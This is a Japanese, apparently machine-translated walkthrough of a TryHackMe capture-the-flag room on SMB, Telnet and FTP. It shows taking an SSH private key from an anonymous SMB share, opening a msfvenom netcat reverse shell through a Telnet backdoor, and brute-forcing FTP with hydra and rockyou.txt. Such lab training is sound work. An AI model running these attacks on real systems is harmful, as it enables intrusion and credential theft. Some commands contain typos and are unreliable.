これは、Polomints によって作成された TryHackMe.com ルーム、Network Services の記事です。
この記事にはほとんどの質問に対する回答が含まれますが、TryHackMe の要求に応じて、フラグやパスワードは含まれません。
このルームは、この記事の執筆時点ではサイバー ディフェンス ラーニング パスとここにあります。
これに関する私のビデオウォークスルーをここで見つけることができます。
この部屋のタスクは、理解、列挙、活用という繰り返しのパターンに従います。理解タスクでは、利用しようとしているサービスについて学びます。列挙タスクでは、サービスに関するデータを収集する方法を説明します。次に、エクスプロイト タスクでは、サービスごとにエクスプロイトを実行します。
このルームで使用される VM はすべて列挙タスク内にあり、緑色のスタック アイコンで示されます。 。 VM が起動するまでに 1 ~ 5 分かかる場合があるため、理解タスクを開始する前に、列挙タスクにジャンプしてマシンを起動することをお勧めします。これにより、理解タスクに戻って実行する間に、セットアップする時間が得られます。
また、あなたも私と同じように TryHackMe を初めて使用するとします。その場合、ブラウザに IP アドレス (通常はタスクに記載されているポート番号) を入力することで OpenVPN で接続できる VM しか経験したことがないかもしれません。これにより、GUI が表示されます。この部屋ではそうではありません。これらの VM は、テストしているサービスのみを提供するように設定されています。つまり、ローカル マシン上のターミナル、アタック ボックス、またはプレミアム ユーザーの場合はブラウザベースの Kali ボックスを使用して VM と通信することになります。私はブラウザベースの Kali ボックスを使用しました。
ローカル マシンを使用する場合は、Kali またはお気に入りのフレーバーがインストールされた Linux マシンまたは Linux 用 Windows サブシステムのいずれかを使用することをお勧めします。必要なツールはすべて Kali にプリインストールされていますが、他のディストリビューションに追加することもできます。また、私のマシンでは Windows Subsystem for Linux が動作していないので、いくつかのことを自分で解決する必要があるかもしれません。
ブラウザベースの Kali マシン/アタック ボックスで提供されるファイルを必要とする部分があります。ローカル マシンを使用したい場合は、 Attack Box を起動して、このファイルをダウンロードする必要があります。攻撃ボックスをタスク 10 だけに使用することもできます。
@@ その後、Rockyou.txt の GitHub からファイルをダウンロードできることを知りました。これが最も簡単な方法ですが、試してみたい人のために追加の手順をここに残しておきます。 @@
Windows 10 で WinSCP を使用してダウンロードする方法
136MB ファイルをダウンロードしてローカル端末を使用したい場合は、Windows マシンでそれを行う方法を次に示します。転送にはWinSCPを使用しました。まず、splitview Attack Boxを起動します。デスクトップにアクセスしたら、画面の左下にある「i」をクリックします。 。これにより、攻撃ボックスの IP アドレス、ユーザー名、およびパスワードが得られます。次に、WinSCP のログイン画面で [新しいサイト] を選択し、ホスト名として Attack Box の IP アドレス、ユーザー名としてユーザー名、パスワードとしてパスワードを入力します。
覚えておいてください。あなたの情報は私のものとは異なります。プロトコルとして sftp を選択すると、ポート 22 が自動的に設定されます。そうでない場合は、ポートに 22 を入力します。次に、「ログイン」をクリックします。おそらく、「不明なサーバーへの接続を続行するかどうかを尋ねるポップアップが表示されます...」をクリックし、「はい」をクリックします。ログインすると、アタック ボックスのルート ディレクトリに移動します。 「ツール」をダブルクリックし、次に「ワードリスト」をダブルクリックします (WinSCP のパスは/usr/share/wordlists/
に変更されますが、問題ありません)。rockyou.txt という名前のファイルを見つけて選択し、ダウンロードをクリックします。
[ダウンロード] ダイアログ ボックスが開くので、任意のファイル パスを選択し、[OK] をクリックします。これで、タスク 10 に必要なファイルが完成しました。そのファイル パスを覚えておいてください。それが必要になります。
以上、Windows 10 で WinSCP を使用してダウンロードする方法
Linuxターミナルを使用したダウンロード方法
Windows と同様に、分割ビューの Attack Box を開始します。デスクトップにアクセスしたら、画面の左下にある「i」をクリックします。 。これにより、攻撃ボックスの IP アドレス、ユーザー名、およびパスワードが得られます。
ターミナルで、括弧なしでsftp root@{Your Attack Box Private IP}
と入力します。この記事のコマンドを実行するときは、必ず中括弧を削除してください。私が見たすべての Attack Box のユーザー名は root です。異なる場合は、上記のコマンドで root の代わりにユーザー名を入力します。次に、パスワードを尋ねられます。 Attack Box の [マシン情報] ウィンドウからパスワードをコピーして貼り付けます。パスワードが表示されなくても心配する必要はありません。それを貼り付けるか入力して Enter キーを押すだけです。接続後、 sftp>
プロンプトが表示されるはずです。何か問題が発生した場合は、OpenVPN に接続していること、および正しいユーザー名/IP アドレス/パスワードを使用していることを再確認してください。 sftp
プロンプトが表示されたら、大文字と小文字に注意してget /root/Desktop/Tools/wordlists/rockyou.txt
と入力します。ローカル システムへのファイルのダウンロードが開始されます。
私と同様のディストリビューション (Kali) を使用している場合は、ファイルがユーザーのホーム フォルダーにドロップされるはずです。ファイルパスを覚えておいてください。タスク 10 で必要になります。
以上、Linux ターミナルを使用してダウンロードする方法
さて、以上で、タスクに移りましょう。
このタスクは純粋に情報提供を目的としたものであり、質問への回答は必要ありません。これを読むと、Linux システムの操作に関する基本的な理解が必要であることがわかり、スキルを磨く余地が示唆されます。また、水分補給をするように促します。
「完了」ボタンをクリックして次のタスクに進みます。
このタスクでは、ネットワーク上のファイル、プリンター、その他のリソースへのアクセスを共有するために使用されるクライアント/サーバー プロトコルである Microsoft サービスのサーバー メッセージ ブロック (SMB) について説明します。これは理論的なタスクなので、情報を読んで以下の質問に答えてください。 NetBEUI という単語をこれまで見たことがなければ、私はあなたを責めませんが、海のブイのようにネット ブイと発音します。
待ち時間を最小限に抑えたい場合は、タスク 3 を開いて緑色の「マシンの開始」ボタンをクリックしてから、上にスクロールしてこのタスクを実行することをお勧めします。
質問1
SMBとは何の略ですか?
サーバーメッセージブロック
質問2
SMB とはどのようなプロトコルですか?
応答要求
質問3
クライアントは何を使用してサーバーに接続しますか?
TCP/IP
質問4
Samba はどのようなシステムで実行されますか?
ユニックス
このタスクでは、悪用を成功させるために重要な情報収集段階について説明します。
上記の手順に従った場合は、タスク 2 を完了する前に、このタスクのマシンがすでに起動されています。そうでない場合は、「Start Machine」というラベルの付いた緑色のボタンをクリックして、今すぐマシンを起動してください。マシンが完全に起動して実行されると、ページの上部に IP アドレスが表示されます。それが必要になります。
まず、ポート スキャン ツール Nmap の簡単な説明から始まります。続行する前に Nmap のさらなる経験が必要な場合は、Red Primer シリーズの一部であるルームが推奨されます。この部屋で知っておく必要があるオプションは 2 つだけです。 -A
は OS 検出、バージョン検出、スクリプト スキャン、traceroute を有効にし、オプション-p-
は Nmap にポートだけでなくすべてのポートをスキャンするように指示します。最も一般的なのは 1000 です。ここで使用する Nmap スキャンの構文はnmap {options} {target}
です。したがって、最初のスキャンでは、すべて 10 の代わりにアクティブなマシンの IP を使用したnmap -A -p- 10.10.10.10
のようになります。このスクリーンショットは、マシンの IP がどこにあるかを示しています。ここに表示されている IP をコピーするのではなく、必ずアクティブなマシンの IP を使用してください。
また、私にとって初めてのツール enum4linux も使用します。 enum4linux は、Windows および Linux システム上の SMB 共有を列挙するために使用されます。利用可能な enum4linux オプションのリストがあります。ただし、私が使用したのは、それらすべてをカバーする-a
オプションです。注: enum4linux について提供されている情報では、オプションが大文字の-A
として説明されていますが、これは誤りです。小文字のa
である必要があります。
質問1
選択した Nmap スキャンを実行します。ポートはいくつ開いていますか?
この質問については、 nmap {IP of your Active Machine}
の基本的な Nmap スキャンを実行できます。ただし、1 回のスキャンを実行して、次の質問に関するほぼすべての情報を取得したい場合は、 nmap -A -p- {IP of your Active Machine}
を実行します。基本的なスキャンで得られる情報は次のとおりです。
スキャン結果からわかるように、22、139、445 の 3 つのポートが開いています。ただし、他に必要なものはあまりありません。
質問2
SMB はどのポートで実行されていますか?
この質問は少し難しいです。 SMB はポート 445 上の Microsoft-ds の一部ですが、139 上の NetBIOS 上で実行できます。したがって、この質問に対する答えは両方です。
139/445
質問3
enum4linux を開始して、完全な基本的な列挙を実行しましょう。まず、ワークグループ名は何ですか?
この質問に対して、 nmap -A {Your Machine's IP}
を実行した場合、その情報はすでに得られています。
ただし、この質問は enum4linux について教えているので、それを使用しましょう。 enum4linux -a {IP Address of your Active Machine}
を実行します。
上のスクリーンショットからわかるように、ワークグループは WORKGROUP としてリストされています。
質問4
マシンの名前として何が思い浮かびますか?
この質問については、 nmap -A -p-
使用した場合、スキャン結果の「ホスト スクリプト結果」セクションまで下にスクロールする必要があります。
コンピューター名の下にpolosmb
と表示されます。
enum4linux の場合は、もう少し推論を行う必要があります。
質問5
上のスクリーンショットには、この質問に対する答えも含まれています。
実行されているオペレーティング システムのバージョンは何ですか?
6.1
質問6
この質問には enum4linux でのみ答えることができます。 enum4linux -A {IP of your Active Machine}
を実行します。
調査すべき点として注目されているのはどのシェアでしょうか?
IPC$ はプロセス間通信です。それは必要ないでしょう。 print$ はプリンタ ドライバ用ですが、これも実際には私たちが望むものではありません。ネットワーク ログオン サービスの netlogon には、必要な情報が含まれていない可能性があります。これにより、ユーザー プロファイルに関する情報を含むprofiles
が残ります。それは可能性を秘めています。そこでユーザーのログイン情報が見つかる可能性があります。
ここからがさらに楽しいことになります。ここでは、Kali で利用できる SMBClient を使用しますが、他のディストリビューションにも追加できます。 SMBClient の場合、構文smbclient //{IP address}/{Share Name} -U {Username} -p {Port Number}
を使用します。
質問1
デフォルト ポートの IP 10.10.10.2 を持つマシン上でユーザー「suit」として「secret」という SMB 共有にアクセスするための正しい構文は何ですか?
上記の構文を見ると、情報を入力するだけです。
smbcliet //10.10.10.2/secret -U suit -p 445
質問 2すごいですね!これで構文のコツがわかったので、この脆弱性を悪用してみましょう。ユーザーのリスト、共有の名前、および疑わしい脆弱性のリストがあります。
答える必要はありません。 「完了」をクリックするだけです。
質問3
興味深い共有が匿名アクセスを許可するように設定されているかどうかを見てみましょう。ファイルを表示するために認証は必要ありません。これは次のようにして簡単に行うことができます。
ユーザー名「Anonymous」を使用
列挙段階で見つかった共有に接続します
パスワードを入力しない場合
パスワードを求められたら、Enter キーを押すだけです。
共有では匿名アクセスが許可されていますか?はい/いいえ?
smb: > プロンプトが表示された場合は、パスワードを入力しなくてもログインに成功したことを意味します。したがって、 Y
共有では匿名アクセスが許可されます。
質問5
ls
と入力して共有の内容を表示します。何か情報がありそうなものは何ですか?
最初に目に飛び込んできたのはテキスト ファイルでした。ここで、Linux は名前にスペースが含まれるファイルを好まないため、コマンド内でファイルの前後に「 」を追加する必要があることに注意してください。そういえば、ターミナルに表示されているように、「ヘルプ」と入力すると、使用可能なコマンドのリストが表示されます。これは非常に便利だと思いました。
通常、 cat
使用して .txt ファイルの内容を表示しますが、リストには表示されません。 SMBClient はそれを認識していないようなので、 more
を使用しました。
このファイルは、John Cactus に基づく潜在的なユーザー名、ファイルのアドレス、John が SSH アカウントを設定しているという 2 つの大きな情報を提供します。
素晴らしい!貴重な情報が含まれている可能性のある興味深い文書がないか調べてください。このプロファイル フォルダーは誰に属していると考えられますか?
ジョン・カクタス
質問6
前の質問の .txt ファイルを読むと、この質問に対する答えも得られます。
彼が在宅勤務できるように構成されているサービスは何ですか?
SSH
質問7
.txt ファイルの作成が完了したので、「q」を押してエディタを終了します。
わかった!これでわかりましたが、共有上のどのディレクトリを調べればよいのでしょうか?
John の SSH アカウントに関する詳細情報を探しているので、ここに非常に役立つ可能性のあるフォルダーがあると思います。どれだと思いますか?
.ssh
質問8
このディレクトリには、ユーザーがサーバー上で自分自身を認証し、サーバーにアクセスできるようにする認証キーが含まれています。これらの鍵のうち、私たちにとって最も価値のあるものはどれでしょうか?
したがって、 cd .ssh
と入力して .ssh フォルダーに cd します。次に、 ls
コマンドを再度実行して内容を表示します。
デフォルトの SSH キーは、ファイルid_rsa
に保存されます。それが私たちの答えです。
SSH キーがどのようなものかを確認したい場合は、more コマンドを再度使用して確認できます。 more id_rsa
。最も重要な部分は、「BEGIN RSA PRIVATE KEY」で始まり、両側に 5 つのダッシュがあることです。そして、これも両側に 5 つのダッシュを付けた「END RSA PRIVATE KEY」で終わります。次に、もう一度「q」を押してエディタを終了します。
ここで、次の質問を少し簡単にするために、追加の偵察を行うことができます。 more id_isa.pub
を実行します。ファイルの最後に何が表示されるかを見てください。
質問9
このファイルをローカル マシンにダウンロードし、「chmod 600 [file]」を使用して権限を「600」に変更します。
ファイルをダウンロードするには、ヘルプ コマンドを参照して、ダウンロードにつながる可能性が最も高いと思われるコマンドを確認してください。
ごちそうにget
と思います。したがって、 .ssh フォルダーにある間にファイルをダウンロードするには、 get id_rsa
実行します。 Kali ブラウザベースのマシンでは、ファイルがルート ディレクトリにドロップされます。ローカルで実行される Linux ディストリビューションを使用している場合は、おそらくそれがユーザーのホーム ディレクトリにドロップされます。
RSA キー ファイルが機能するには、ある程度のセキュリティが必要なため、このファイルに正しいアクセス許可を設定する必要があります。シェアもダウンしているため、 quit
実行してマシンのプロンプトに戻ります。次に、 chmod 600 {File Path}
を実行します。つまり、Kali Web マシンの場合は、 chmod 600 id_rsa
なります。他のマシンの場合は、 cd
使用してファイルが存在するフォルダーに移動し、コマンドにファイルへのパスを入力して上記のコマンドを実行します。
次に、すでに収集した情報を使用して、アカウントのユーザー名を調べます。次に、サービスとキーを使用してサーバーにログインします。
追加の偵察を少し行ったので、ユーザー名が「cactus」であることがわかります。最初にこれを実行したとき、ユーザー名は j.cactus であると想定し、理解できないエラーに遭遇しました。正しいユーザー名を見つけることで問題は解決しました。
指定されたキーを使用する SSH の構文は、 ssh -i {Key File} {Username}@{IP Address}
です。したがって、これはssh -i id_rsa cactus@{Active Machine's IP Address}
になります。
続行するかどうかを尋ねられたら、「はい」と入力して Enter キーを押します。おめでとう!プロンプトがcactus@polosmb:~$
に変わると、自分のものではないアカウントでサーバーに正常にログインしたことになります。
ls
コマンドを使用して、ここにあるファイルを 1 つだけ確認します。その旗を捕まえるためにそれを開けてください!ここでcat
使用すると、内容を画面に出力できます。
質問10
開いたファイルの内容をコピーし、この回答のボックスに貼り付けます。 TryHackMe は書き込みに対してフラグを除外するよう求めているため、ここには投稿しません。
これで SMB セクションが完了したので、タスク 5 に戻る前に、現在のアクティブ マシンを終了し、タスク 6 にジャンプしてそのマシンを起動する必要があります。
Telnet は時代遅れのアプリケーション プロトコルです。リモート ホストと対話するために使用されます。リモート システムに接続すると、そのシステムの仮想端末になります。ただし、すべての情報を平文で送信するため、これは時代遅れです。暗号化はありません。 SSH ははるかに安全であるため、ほとんどの状況で Telnet に取って代わりました。 Telnet を使用してリモート システムに接続するには、構文telnet {IP Address} {port Number}
を使用します。 Telnet のデフォルトのポートは 23 です。
質問1
Telnetとは何ですか?
アプリケーションプロトコル
質問2
Telnet に徐々に取って代わられたものは何でしょうか?
SSH
質問3
ポート 23 で IP 10.10.10.3 を持つ Telnet サーバーに接続するにはどうすればよいでしょうか?
Telnet 10.10.10.3 23
質問4
これがないということは、Telnet 通信がすべて平文で行われることを意味するのでしょうか?
暗号化
このタスクのためにマシンをまだ起動していない場合は、今すぐ起動してください。
SMB タスクと同様に、ターゲット システムのポート スキャンを実行することから始めます。
nmap -A -p- {IP address of your Active Machine}
を実行します。このスキャンには時間がかかる場合があります。私の場合は 174.56 秒で完了しました。
質問1
ターゲットマシン上で開いているポートはいくつありますか?
開いているポートは「1」だけです。
質問2
これは何の港ですか?注: これはどのポートが開いているかを尋ねています。
8012
質問3
このポートは割り当てられていませんが、使用しているプロトコルがリストされています。これは何のプロトコルですか?
TCP
質問4
ここで、-p- タグを付けずに Nmap スキャンを再実行します。開いていると表示されるポートはいくつありますか?
-p-
オプションは Nmap にすべてのポートをスキャンするように指示するため、これを削除すると、Nmap は上位 1000 ポートのみをスキャンすることを覚えておいてください。
「0」ポートはオープンです。
質問5
Telnet を非標準ポートに割り当てると、そのポートは共通ポート リストや Nmap がスキャンする上位 1000 ポートの一部ではないことがわかります。ここで収集した情報が活用段階に役立つため、列挙する際にはあらゆる角度から試すことが重要です。
答えは必要ありません。 「完了」をクリックします
質問6
返されたタイトルに基づいて、このポートは何に使用できると思いますか?
この質問が何について話しているのかは、最後のスクリーンショットの下部で確認できます。
バックドア
質問7
それは誰のものでしょうか?使用可能なユーザー名を収集することは、列挙の重要な手順です。
最後の質問と同じ、最後のスクリーンショットの情報。
スキディ
質問8
列挙段階で見つけた情報を常にメモしておき、エクスプロイトの試行に進むときに参照できるようにします。
メモを取ることは非常に重要です。調査結果のレポートを作成することは、セキュリティに携わる上で重要な部分です。徹底的にメモを取る習慣を身につけると、すべてが楽になります。
答えは必要ありません。 「完了」をクリックします
メソッドの内訳
したがって、列挙段階から次のことがわかります。
- There is a poorly hidden telnet service running on this machine
- The service itself is marked “backdoor”
- We have a possible username of “Skidy” implicated
この情報を使用して、この Telnet ポートにアクセスし、それを足がかりとしてマシン上で完全なリバース シェルを取得してみましょう。
上記のとおり、telnet の構文はtelnet {Machine IP} {Port}
であることを思い出してください。
質問1
さて、この Telnet ポートに接続してみましょう。行き詰まった場合は、上で概説した接続の構文を参照してください。
このためには、 telnet {Your Active Machine's IP Address} 8012
実行する必要があります。Nmap 検索で見つかったように、Telnet のデフォルト ポートは 23 ですが、このシステムでは非標準ポートにポートが設定されているためです。
答えは必要ありません。 「完了」をクリックします。
質問2
素晴らしい!それはオープン Telnet 接続です。どのようなウェルカムメッセージが届きますか?
スキディのバックドア。
質問3
いくつかのコマンドを実行してみましょう。 Telnet セッションに入力した入力は返されますか? (はい/いいえ)
この場合は、任意のコマンドを入力します。 ls
に何があるのか調べてみました。情報が返されないため、この質問に対する答えは次のようになります。
N
質問4
うーん...それは奇妙です。入力した内容がシステム コマンドとして実行されているかどうかを確認してみましょう。
答えは必要ありません。 「完了」をクリックします。
質問5
すべてのコマンドが虚空に送信されていることから、この接続を閉じるのは少し困難です。プロンプトを役立つものに変更するには、 ctrl + ]
を押します。つまり、Ctrl キーと右角かっこキーを同時に押すと、プロンプトがtelnet>
に変わり、 close
と入力して Enter キーを押します。通常のプロンプトに戻るはずです。または、必要に応じて、Telnet セッションを接続したままにして、新しいタブ/ウィンドウを開いて次の tcpdump を実行することもできます。
ローカル マシンで tcpdump リスナーを開始します。
tcpdump リスナーは、選択したインターフェイスのトラフィックを監視し、そのトラフィックを画面に記録します。これを起動し、独自のタブ/ウィンドウで実行したままにします。
OpenVPN 接続で自分のマシンを使用している場合は、次を使用します。
sudo tcpdump ip proto icmp -i tun0
AttackBox を使用する場合は、次を使用します。
sudo tcpdump ip proto icmp -i eth0
これにより、tcpdump リスナーが開始され、ping が動作する ICMP トラフィックを明示的にリッスンします。
2 つの違いはネットワーク インターフェイスです。ローカルの Linux ボックスでは、OpenVPN 接続となるトンネリング デバイスである tun0 を使用することになっていますが、これについては引用しないでください。どのインターフェイスを使用する必要があるかを判断するには、 sudo ifconfig
を実行する必要がある場合があります。
答えは必要ありません。 「完了」をクリックします
質問6
この質問では、Telnet セッションを再度使用します。まだ開いているなら、素晴らしいです。そうでない場合は、新しいタブ/ウィンドウを開いて、上記と同じ手順を使用してマシンに再接続します。この質問には、作業中のシステム (アタック ボックス、Kali マシン、またはローカル システムのいずれか) の IP アドレスが必要になることに注意してください。
この質問では、Telnet セッションを通じて ping コマンドを実行する必要があります。 .RUN ping {Local IP Address} -c 1
と入力します。これにより、リモート ホストからローカル マシンに 1 つの ping が送信されます。両方のウィンドウを同時に表示できる場合は、何が起こっているかをその場で確認できます。
ここで、Telnet セッションを通じてコマンド「ping [local THM ip] -c 1」を使用して、システム コマンドを実行できるかどうかを確認します。 ping を受信しますか?先頭に .RUN (Y/N) を付ける必要があることに注意してください。
tcpdump リスナーのタブに ping 要求と ping 応答の両方が表示されるはずです。
Y
質問7
素晴らしい!これは、システム コマンドを実行でき、かつローカル マシンにアクセスできることを意味します。さあ、楽しみましょう!
答えは必要ありません。 「続行」をクリックします
質問8
この質問では、Telnet セッションをそのままにして、別のタブ/ウィンドウに入力します。 ctrl + c
押すと tcpdump リスナーを終了し、そのウィンドウを使用できます。 tcpdump はもう必要ありません。ローカル システムの IP アドレスを括弧で囲まれた部分に接続して、以下のコマンドを実行します。ただし、括弧は省略したままにします。コマンドで Enter キーを押すと、ペイロードが生成され、画面に出力されるまで少し時間がかかります。
msfvenom を使用してリバース シェル ペイロードを生成します。これにより、netcat リバース シェルが生成され、エンコードされます。構文は次のとおりです。
「msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R」
-p = ペイロード lhost = ローカルホスト IP アドレス (これはあなたのマシンの IP アドレスです) lport = リッスンするポート (これはあなたのマシン上のポートです) R = ペイロードを生形式でエクスポートします
生成されたペイロードはどの単語で始まりますか?
mkfifo
質問9
完璧。もうすぐそこです。ここで必要なのは、ローカル マシン上で netcat リスナーを起動することだけです。これは以下を使用して行います。
「nc -lvp [リスニングポート]」
ペイロードで選択したリスニング ポートに対するコマンドはどのようになりますか?
nc -lvp 4444
質問10
素晴らしい!これで実行できるようになりました。 msfvenom ペイロードをコピーして Telnet セッションに貼り付け、コマンドとして実行する必要があります。うまくいけば、これでターゲット マシン上にシェルが提供されます。
コマンドが Telnet セッションで機能するためには、次のことを覚えておいてください。先頭に .RUN を付ける必要があります。
答えは必要ありません。 「完了」をクリックします。
質問11
成功! flag.txtの内容は何ですか?
リバース シェルが機能した場合は、netcat リスナーの下に「connect to [10.10.xx] from ip etc...」と表示されるはずです。
そこから、通常どおりコマンドを入力し、リモート システムに送信できます。
ls
から始めて、そこにどのようなファイルがあるかを確認することをお勧めします。以前にこのようなフラグをすでにキャプチャしているため、残りの部分を理解できるはずです。
Telnet に関するセクションはこれで終わりです。したがって、現在のアクティブ マシンを終了し、タスク 9 にジャンプしてそのマシンを起動し、タスク 8 に戻ります。
FTP、ファイル転送プロトコル。名前が示すように、ネットワーク経由でファイルを転送するために使用されます。通常の FTP は時代遅れであり、より安全ないくつかの異なる標準に置き換えられています。 FTPS は FTP over TLS であるため、デフォルトのポートは FTP と同様に 21 のままです。もう 1 つは SFTP です。これは Secure File Transfer Protocol であり、SSH を使用するため、デフォルトのポートは 22 です。
質問1
FTP はどのような通信モデルを使用しますか?
クライアントサーバー
質問2
標準の FTP ポートは何ですか?
21
質問3
FTP接続にはいくつのモードがありますか?
2
FTP クライアントを使用して作業します。システムに FTP クライアントがインストールされていることを再確認するには、 ftp
と入力すると、 ftp>
プロンプトが表示されます。そうでない場合は、 sudo apt install ftp
経由でインストールするだけです。
質問1
もう一度 Nmap を使用して、この FTP サーバーを列挙します。次の質問に目を通すと、基本的なスキャンで得られる情報よりも多くの情報が必要になるため、 nmap {Active Machine IP Address} -A -p-
を使用しました。
ターゲットマシン上で開いているポートはいくつありますか?
この質問は少し変です。この部屋を駆け抜けながら私の正解を見ると、2 と表示されています。今スキャンを実行すると、ポート 21 のみが開いていることがわかります。まずは 1 から始めて、うまくいかなかったら 2 にすることをお勧めします。
質問2
FTP はどのポートで実行されていますか?
21
質問3
FTP のどのバージョンが実行されていますか?
vsftpd
質問4
わかりました。これで、どの種類の FTP サーバーを扱っているかがわかりました。 FTP サーバーに匿名でログインできるかどうかを確認できます。これを行うには、コンソールにftp [IP]
と入力し、プロンプトが表示されたら「anonymous」を入力し、パスワードを入力しません。
匿名 FTP ディレクトリ内のファイルの名前は何ですか?
PUBLIC_NOTICE.txt
質問5
この質問では、Telnet と同様にget
コマンドを再度使用します。 get PUBLIC_NOTICE.txt
と入力します。
これにより、ファイルがシステムにダウンロードされ、その内容を表示できるようになります。 FTP サーバーに接続する必要はもうないので、 exit
と入力して標準プロンプトに戻ります。
次に、ダウンロードしたファイルを見つける必要があります。ブラウザベースの Kali マシンの場合は、ルート ディレクトリにドロップされます。これは、Telnet タスク中に取得したファイルと同じディレクトリにある必要があります。
システム上で見つけたら、読んでみてください。それが入っているフォルダーに移動するか、 cat
コマンドを使用してファイル パス全体を入力します。 cat PUBLIC_NOTICE.txt
アクセスして、役立つ情報がないか確認してください。おそらくユーザー名かもしれない何か?
考えられるユーザー名は何でしょうか?
マイク
質問6
素晴らしい!これで、FTP サーバーの詳細と、重要なことに、考えられるユーザー名がわかりました。これで何ができるか見てみましょう...
答えは必要ありません。 「完了」をクリックします。
この特定のタスクでは、すでに知っているユーザー名mike
使用し、パスワードを総当たり攻撃してみます。ここで、 rockyou.txt
ファイルが活躍します。それはパスワードのリストです。独自のローカル システムを使用している場合は、ダウンロードした場所を覚えておいて、それをファイル パスとして使用してください。私たちが使用するツールは hydra と呼ばれます。 Hydra はパスワード リストを取り込んでシステムに対して試行し、それらが機能するかどうかを確認できます。
TryHackMe ページには、この攻撃に使用する構文の詳細な詳細が記載されています。ぜひ一読をお勧めします。
hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp
使用しているシステムによっては、ファイル パスが異なる場合があります。また、ブラウザベースの Kali マシンを使用している場合は、追加の手順が必要になります。 Kali マシンでは、単語リストは GZ ファイルに圧縮されます。解凍する必要があります。ターミナルで、 gunzip -d /root/Desktop/wordlists/rockyou.txt.gz
と入力します。しばらくすると、必要な非圧縮ファイルが得られます。
正しいパスワードを見つけるには、 hydra -t 4 -l mike -P {Your File Path to rockyou.txt} -vV {Your Active Machine IP} ftp
と入力します。
すべてが成功すると、リストの最後のエントリとしてパスワードが表示されるはずです。
ユーザー「mike」のパスワードは何ですか?
これは、hydra からの出力で見つけることができます。
質問2
ビンゴ!次に、「ftp [IP]」を使用してこのユーザーとして FTP サーバーに接続し、プロンプトが表示されたら資格情報を入力してみましょう。
次に、新しく見つかった資格情報を使用してログインします。
ftp {Your Active Machine IP Address}
と入力します。次に、ユーザー名としてmike
を入力し、パスワードとして前の質問の回答を入力します。これで、 ftp>
プロンプトが表示されるはずです。
答えは必要ありません。 「完了」をクリックします。
質問3
ls
使用してディレクトリの内容を確認します。ここに 2 つのファイルがあります。 .txt はおそらく人間が判読できるものです。 get
コマンドを使用して、システムにダウンロードします。これを数回行ったので、ファイルを見つけてその内容を表示できるはずです。うまくいかない場合は、上にスクロールして他のタスクの指示を見つけることができます。
ftp.txtとは何ですか?
おめでとう! 3 番目のフラグを捕捉し、部屋のアクティビティ部分を完了しました。素晴らしい仕事です!
このタスクでは、関連トピックをさらに詳しく読むためにチェックできる場所がいくつか提供されています。
答えは必要ありません。 「完了」をクリックします。
あなたはこの部屋をうまく切り抜けました。最初は恐ろしいように思えたかもしれないし、簡単だったかも知れませんが、あなたはやり遂げました。
このルームを作成してくれた Polomints と、この素晴らしいサイトをまとめてくれた TryHackMe に心から感謝します。